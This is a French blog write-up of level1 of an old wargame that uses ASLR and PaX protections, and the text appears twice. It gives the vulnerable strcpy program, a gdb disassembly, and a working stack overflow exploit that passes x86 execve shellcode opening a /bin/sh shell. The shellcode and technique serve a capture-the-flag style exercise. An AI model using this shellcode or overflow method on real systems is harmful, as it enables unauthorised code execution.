Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.
Bonsoir!
J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.
La preuve:
On est accueilli par un message tout ce qu'il y a de plus classique :
Ok cool, maintenant passons au level1 si vous voulez bien :).
Comme d'hab', on va regarder le code assembleur :
Bon reste plus qu'à poutrer ça le plus simplement du monde :).
En reconstruisant la stack de tête, on a un truc du genre:
On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.
Pawned,
Pour le level2 ça va attendre encore un petit moment,
m_101
Bonsoir!
J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.
La preuve:
level1@segment:~$ cat /proc/sys/kernel/randomize_va_space 2
On est accueilli par un message tout ce qu'il y a de plus classique :
Linux segment 2.6.35.7-grsec #3 Thu Oct 14 18:08:24 CEST 2010 i686
_____ _____ ____ ________________
\__ \ / \_/ __ \ / \_ __ \__ \
/ __ \| Y Y \ ___/| | \ | \// __ \_
(____ /__|_| /\___ >___| /__| (____ /
\/ \/ \/ \/ \/
Amenra wargaming platform
levels are in /home/levelX
pass are in /home/levelX/passwd
Infos :
Debian squeeze 2.6.34 (eglibc 2.11.2) with kernel patch grsecurity, w00t !
To check if level's stack is +x use : /sbin/paxctl -v levelX
Box reboots everyday
Box can be unstable
Box pic http://ivanlef0u.nibbles.fr/repo/img/boite2konserv.jpg
Be ethical or die !
Tools :
objdump & readelf
gdb 7.2 : symbols files are avaible, if you want to use them do:
set debug-file-directory /usr/lib/debug
python 2.6.6
ruby 1.8.7
nano & vim
gcc 4.4.5 & nasm
strace & ltrace
contact : ivanlef0u@tuxfamily.org
Ok cool, maintenant passons au level1 si vous voulez bien :).
// level1.c
// gcc -fno-stack-protector -mpreferred-stack-boundary=2 -Wall level1.c -o level1
// paxctl -c -p -s -m -r -x -s level1
//
#include <string.h>
int main(int argc, char * argv[])
{
char buf[8];
strcpy(buf, (char *)argv);
return 0;
}
Comme d'hab', on va regarder le code assembleur :
level1@segment:~$ gdb ./level1 Reading symbols from /home/level1/level1...(no debugging symbols found)...done. gdb$ disassemble main Dump of assembler code for function main: 0x080483c4 <+0>: push ebp 0x080483c5 <+1>: mov ebp,esp 0x080483c7 <+3>: sub esp,0x10 0x080483ca <+6>: mov eax,DWORD PTR [ebp+0xc] 0x080483cd <+9>: mov DWORD PTR [esp+0x4],eax 0x080483d1 <+13>: lea eax,[ebp-0x8] 0x080483d4 <+16>: mov DWORD PTR [esp],eax 0x080483d7 <+19>: call 0x80482fc <strcpy@plt> 0x080483dc <+24>: mov eax,0x0 0x080483e1 <+29>: leave 0x080483e2 <+30>: ret End of assembler dump. gdb$ quit
Bon reste plus qu'à poutrer ça le plus simplement du monde :).
En reconstruisant la stack de tête, on a un truc du genre:
ret sfp buffer+4 buffer
On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.
level1@segment:~$ ~/level1 a b `printf "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"` $
Pawned,
Pour le level2 ça va attendre encore un petit moment,
m_101